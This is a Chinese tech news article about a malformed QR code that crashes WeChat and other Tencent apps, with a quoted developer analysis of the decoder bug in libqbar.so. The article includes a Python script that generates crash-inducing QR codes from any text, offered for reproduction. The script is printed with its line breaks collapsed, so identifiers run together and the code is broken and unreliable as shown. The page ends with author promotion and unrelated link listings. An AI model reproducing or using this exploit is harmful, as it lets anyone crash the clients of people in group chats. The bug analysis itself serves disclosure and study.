出品 | OSC开源社区(ID:oschina2013)

建议别尝试:转发这个二维码到群里,3秒后你会回来骂我(抖m求骂)

近日,网传微信识别上方二维码就会出现闪退BUG,小编也忍不住尝试了一下,果然,一识别该二维码微信立马就出现了闪退的现象:

且会出现“微信运行异常,建议前往软件商店更新至最新版本”的提示。

随后,小编又对该二维码进行了转发测试,亦是如此,将二维码转发给好友后微信又出现闪退情况:

在手机微信中无需识别,仅仅是点击该二维码,微信就会出现闪退:

在微信电脑端,小编测试发现苹果电脑点击该二维码同样会出现闪退现象,但是小编的 Windows 10 测试则正常无闪退。

目前该二维码除了导致闪退外未发现其他副作用。

对于此次闪退事件,有网友发文解释称:目前微信闪退崩溃是因为 OCR 识别系统出现了内存崩溃导致的,这个图片导致了微信内存泄漏,所以会闪退崩溃。闪退问题不会涉及个人隐私问题和封号和资金泄漏问题,目前该功能已经在加急加班的修复中。

不过上述对于微信闪退的解释也只是网友观点,截止发稿,腾讯官方还未公开回应。

前面有提到,由于这张二维码图片导致内存泄漏,进而引发微信闪退。而造成此问题的根源是 “微信二维码引擎”——

  1. 它会自动识别聊天列表中的二维码

  2. 当用户打开聊天列表,微信二维码引擎识别到这张二维码的时候出现了空指针异常,导致二维码模块崩溃

  3. 最终 “祸及” 整个微信客户端

另外,不只是微信,其他腾讯系的软件如果使用了同样的二维码引擎,应该都有这个问题。参考此issue的反馈
https://github.com/opencv/opencv_contrib/issues/3478

从公开的资料可知,该引擎已在 2021 年开源,并合并到了 OpenCV。

开源地址:https://github.com/WeChatCV

OpenCV 全称为 Open Source Computer Vision Library,是一个跨平台的开源计算机视觉和机器学习软件库,可用于开发实时的图像处理、计算机视觉以及模式识别程序。

根据开发者的分析,引发微信闪退的二维码属于 “畸形二维码”,这类二维码包含的错误数据块会导致微信二维码模块中的 libqbar.so 崩溃,进而引发软件闪退。

下面内容来自开发者的分析:

这是一张用微信扫描就会 crash 的二维码,应该是微信 OCR 的实现有问题,以及如果发在群聊里可能会导致群聊的人都闪退(因为微信会自动识别二维码)

UPDATE: 腾讯系的软件应该都有这个问题

感觉主要出锅的地方在:

[0100] [00000001] []
Mode Indicator : 8-bit Mode (0100)
Character Count Indicator : 1
Decoded data :

因为队友说似乎是 null deref,直接遍历解码到后期的时候发现了以下的问题,填充和 RS 在这样的扫描下直接被吃掉了:

{value: '00000001', type: 'Char. count indicator', decoded: 1, modules: Array(8)}
{value: '10011111', type: 'Message data', decoded: '\x9F', modules: Array(8)}
{value: '0000', type: 'Mode indicator', decoded: 'Terminator', modules: Array(4)}
{value: '0010', type: 'Mode indicator', decoded: 'Alphanumeric mode', modules: Array(4)}
{value: '100111001', type: 'Char. count indicator', decoded: 313, modules: Array(9)}
{value: '01100111100', type: 'Message data', decoded: 'II', modules: Array(11)}
{value: '01100010011', type: 'Message data', decoded: 'HM', modules: Array(11)}
{value: '10100001110', type: 'Message data', decoded: 'SY', modules: Array(11)}
{value: '00110010000', type: 'Message data', decoded: '8+', modules: Array(11)}
{value: '01110011111', type: 'Message data', decoded: 'KR', modules: Array(11)}
{value: '01101010111', type: 'Message data', decoded: 'J0', modules: Array(11)}
{value: '01110100010', type: 'Message data', decoded: 'KU', modules: Array(11)}
{value: '10000011011', type: 'Message data', decoded: 'NG', modules: Array(11)}
{value: '11101010111', type: 'Message data', decoded: '-Y', modules: Array(11)}
{value: '1101', type: 'Message data', decoded: '0D', modules: Array(4)}
{value: '', type: 'Message data', decoded: NaN, modules: Array(0)}
{value: '', type: 'Message data', decoded: NaN, modules: Array(0)}

提取出的数据来看,在到达最后一个 8-bit Mode 后是一个不可见字符 \x9f 和正常的终止符号,但在之后本应该是 padding 的 11101100 和 11101100 却不见了踪迹,后续的 block 恰好被解析为了 Alphanumeric mode,长度块标准为 9 bit,并且读取出其长度为 313,导致后续的数据被解析为了奇怪的内容,并且直接开始越界解析。

但是尝试复现并未成功构造一个可以被微信复现的二维码,并且 qrazybox 也被这样的长度标识欺骗了,但是在上面的例子里并没有,似乎整个问题比想象的复杂:

Final data bits :
00101111111110000101110100010001010001110011000010100000111011000001000111101100000100011110110000010001111011000001000111101100
[0010] [111111111] [0000101110100010001010001110011000010100000111011000001000111101100000100011110110000010001111011000001000111101100]
Mode Indicator : Alphanumeric Mode (0010)
Character Count Indicator : 511
Decoded data : 2333AA76%J5L1QVFA.380Cundefinedundefinedundefinedundefinedundefined……
Final Decoded string : 2333AA76%J5L1QVFA.380C

忽略了一个核心问题,这个二维码的数据区已经被完全填满(224 bit),解码器可能会因为遇到 padding pattern 而提前 break,打算再去构造一下。

构造成功了,成功让微信崩溃了!几个要点:

1. 数据需要绝对无填充,不可以出现 padding pattern
2. 最后一个 block 的记录长度要尽可能的长,与什么模式无关

理论上只要能够找到合适的 data block 组合,恰好填充满二维码的容量,并在最后一个 0 长 block 中写入一个越界的长度,并保证上述所有数据 RS 纠错码生成正确,就可以实现崩溃了。

附上复现用的代码,可根据任意文本内容构造畸形二维码:

import qrcode
from qrcode.util import QRData, MODE_8BIT_BYTENUM_BLOCKS = [19, 34, 55, 80, 108, 136, 156, 194, 232]def tencent_crash_qrcode(message: str, filename='crash.png'):def hack_put(self, num, length):if num == 0:num = 1for i in range(length):self.put_bit(((num >> (length - i - 1)) & 1) == 1)data = message.encode('utf-8')data_len = len(data)version = 1while version <= len(NUM_BLOCKS) and data_len + 3 > NUM_BLOCKS[version-1]:version += 1if version > len(NUM_BLOCKS):raise Exception('message too long')data += b' ' * (NUM_BLOCKS[version-1] - data_len - 3)print(data_len, version)qr = qrcode.QRCode(version, qrcode.constants.ERROR_CORRECT_L)comm_data = QRData(data, MODE_8BIT_BYTE)hack_data = QRData(b'', MODE_8BIT_BYTE)qr.add_data(comm_data, 0)qr.add_data(hack_data, 0)original_put = qrcode.util.BitBuffer.putqrcode.util.BitBuffer.put = hack_putqr.make_image().save(filename)qrcode.util.BitBuffer.put = original_puttencent_crash_qrcode('KFCVW50')

最后,附上一个通过脚本生成的畸形二维码。


前不久 3 月 29 日凌晨,腾讯旗下的微信和 QQ 等业务也曾出现崩溃状况,包括微信语音对话、朋友圈、微信支付,以及 QQ 文件传输、QQ 空间和 QQ 邮箱在内的多个功能无法使用。直到 3 月 29 日早间,腾讯微信团队才回应表示,经工程师抢修,系统正在逐步恢复。

而后腾讯也将此次事故定义为公司一级事故。

工信部在听取腾讯公司关于 “3・29” 微信业务异常情况汇报后,要求腾讯公司进一步健全安全生产管理制度、落实网络运行保障措施,坚决避免发生重大安全生产事故,切实提升公众业务安全稳定运行水平。

------

我们创建了一个高质量的技术交流群,与优秀的人在一起,自己也会优秀起来,赶紧点击加群,享受一起成长的快乐。另外,如果你最近想跳槽的话,年前我花了2周时间收集了一波大厂面经,节后准备跳槽的可以点击这里领取!

推荐阅读

  • 重磅炸弹!OpenAI 现场演示官方版 AutoGPT!

  • 92K Star !AI 都完全不需要咱们人类了?

  • 时隔 15 年,巨著《Java 编程思想》新版终于来啦

··································

你好,我是程序猿DD,10年开发老司机、阿里云MVP、腾讯云TVP、出过书创过业、国企4年互联网6年。从普通开发到架构师、再到合伙人。一路过来,给我最深的感受就是一定要不断学习并关注前沿。只要你能坚持下来,多思考、少抱怨、勤动手,就很容易实现弯道超车!所以,不要问我现在干什么是否来得及。如果你看好一个事情,一定是坚持了才能看到希望,而不是看到希望才去坚持。相信我,只要坚持下来,你一定比现在更好!如果你还没什么方向,可以先关注我,这里会经常分享一些前沿资讯,帮你积累弯道超车的资本。

扫个二维码微信就崩溃的原因找到了|附源码分析相关推荐

  1. Python数据分析实战-将一维列表和二维列表内容保存到本地excel文件(附源码和实现效果)

    前面我介绍了可视化的一些方法以及机器学习在预测方面的应用,分为分类问题(预测值是离散型)和回归问题(预测值是连续型).同时做了关于图像识别的系列文章,让读者理解python进行图像识别的过程.原理和方 ...

  2. 用于校园流浪猫信息记录和分享的小程序源码/微信云开发中大猫谱小程序源码

    用于校园流浪猫信息记录和分享的小程序源码/微信云开发中大猫谱小程序源码 ☑️ 编号:ym478 ☑️ 品牌:无 ☑️ 语言:微信小程序 ☑️ 大小:6.5MB ☑️ 类型:校园流浪猫信息记录和分享 ☑ ...

  3. 微信小程序支付功能-服务器端实现(附源码)

    实现了小程序最新的V3版本支付功能, 包括:支付.支付通知.退款.退款通知. 服务器端使用java开发,springboot框架 源码链接在评论中 微信小程序支付功能-服务器端实现(附源码)_哔哩哔哩 ...

  4. 分享个微信锁再也不怕别人偷看!附源码

    介绍: 分享个微信锁再也不怕别人偷看!附源码 网盘下载地址: http://kekewl.net/Z2PLSi6gPmb 图片:

  5. 仿酷狗音乐播放器开发日志二十二 动态调色板控件第二版(性能大幅提升附源码)...

    转载请说明原出处,谢谢~~ 在上次写的博客<仿酷狗音乐播放器开发日志二十一 开发动态调色板控件(附源码)>发布后,我在群里和网友讨论这个控件的性能和优 缺点,发现了他很多不足,还有很多提升 ...

  6. 天天酷跑php源码_使用Java实现天天酷跑(附源码)

    首先,写一个需求文档: 一.项目名称:<天天酷跑>(RunDay) 二.功能介绍: 闯关类游戏,玩家登录后,选择进入游戏,通过键盘控制玩家的上下左右移动,来躲避 障碍物和吃金币,玩家躲避的 ...

  7. python跑酷游戏源码_Phaser.js实现简单的跑酷游戏附源码下载

    采用的物理引擎是Phaser.js 在这里对此引擎不做过多介绍(因为我也是小白,嘿嘿) 效果展示: 源码(详细源码图片资源可点击文章下方或屏幕右上方的github链接进行clone) 1.创建游戏舞台 ...

  8. python贪吃蛇源码_Python:游戏:贪吃蛇(附源码)

    Python:游戏:贪吃蛇(附源码) 发布时间:2018-09-05 09:59, 浏览次数:1295 , 标签: Python 贪吃蛇是个非常简单的游戏,适合练手. 首先分析一下这个游戏 1.蛇怎么 ...

  9. html5直播源码,HTML5 直播疯狂点赞动画实现代码 附源码

    直播有一个很重要的互动:点赞. 为了烘托直播间的氛围,直播相对于普通视频或者文本内容,点赞通常有两个特殊需求: 点赞动作无限次,引导用户疯狂点赞 直播间的所有疯狂点赞,都需要在所有用户界面都动画展现出 ...

最新文章

  1. HandlerThread原理与应用
  2. Django搭建简易博客教程(四)-Models
  3. jquery之bind(),live(),delegate()
  4. 最强编程语言 Java 和最受欢迎之 Python 的巅峰对决
  5. 怎样解决mysql最后一步提示未响应
  6. java.util.function包下的四大Function
  7. AssetBundle资源冗余检测
  8. iconfont-阿里巴巴矢量图标库使用教程
  9. KCF跟踪算法/目标跟踪算法KCF案例程序源码
  10. PLsql oracle 误删除 恢复
  11. 网页抓取及信息提取(二)
  12. 【FLUENT案例】01:T型管混合器中的流动与传热
  13. 如何正确使用Pandas库提升项目的运行速度?
  14. Linux 安装gcc编译器
  15. 【MySQL】<关系型数据库>Linux安装MySQL(无错完整)
  16. LCD液晶驱动芯片VK1625/VK1626可通过指令进人省电模式,附带参考电路图
  17. 细说JVM系列:JVM存在的目的和意义是什么?
  18. BIG ENDIAN V.S. LITTER ENDIAN
  19. ImageNet图像库1000个类别名称(中文注释不断更新)
  20. 深圳大学公文通简易检索系统

热门文章

  1. mysql主从备份导入数据库_[导入]MySQL数据库的主从及双机备份
  2. 支付app 支付 弹出 ALIN42273
  3. c语言拷贝特定个数的字符串,C语言strncpy函数
  4. 信创银河麒麟操作系统环境安装JDK1.8,注意与linux操作系统的版本区别
  5. 乳腺检查对年轻女性有伤害吗?如何进行自检?
  6. 马云香港演讲年轻人创业
  7. 基于Python爬虫和K-means算法的校园微博热点话题发现系统
  8. Android直播开发之旅(13):使用FFmpeg+OpenSL ES播放PCM音频
  9. Bzoj 3730 震波 动态点分治
  10. 搭建 bochs 运行环境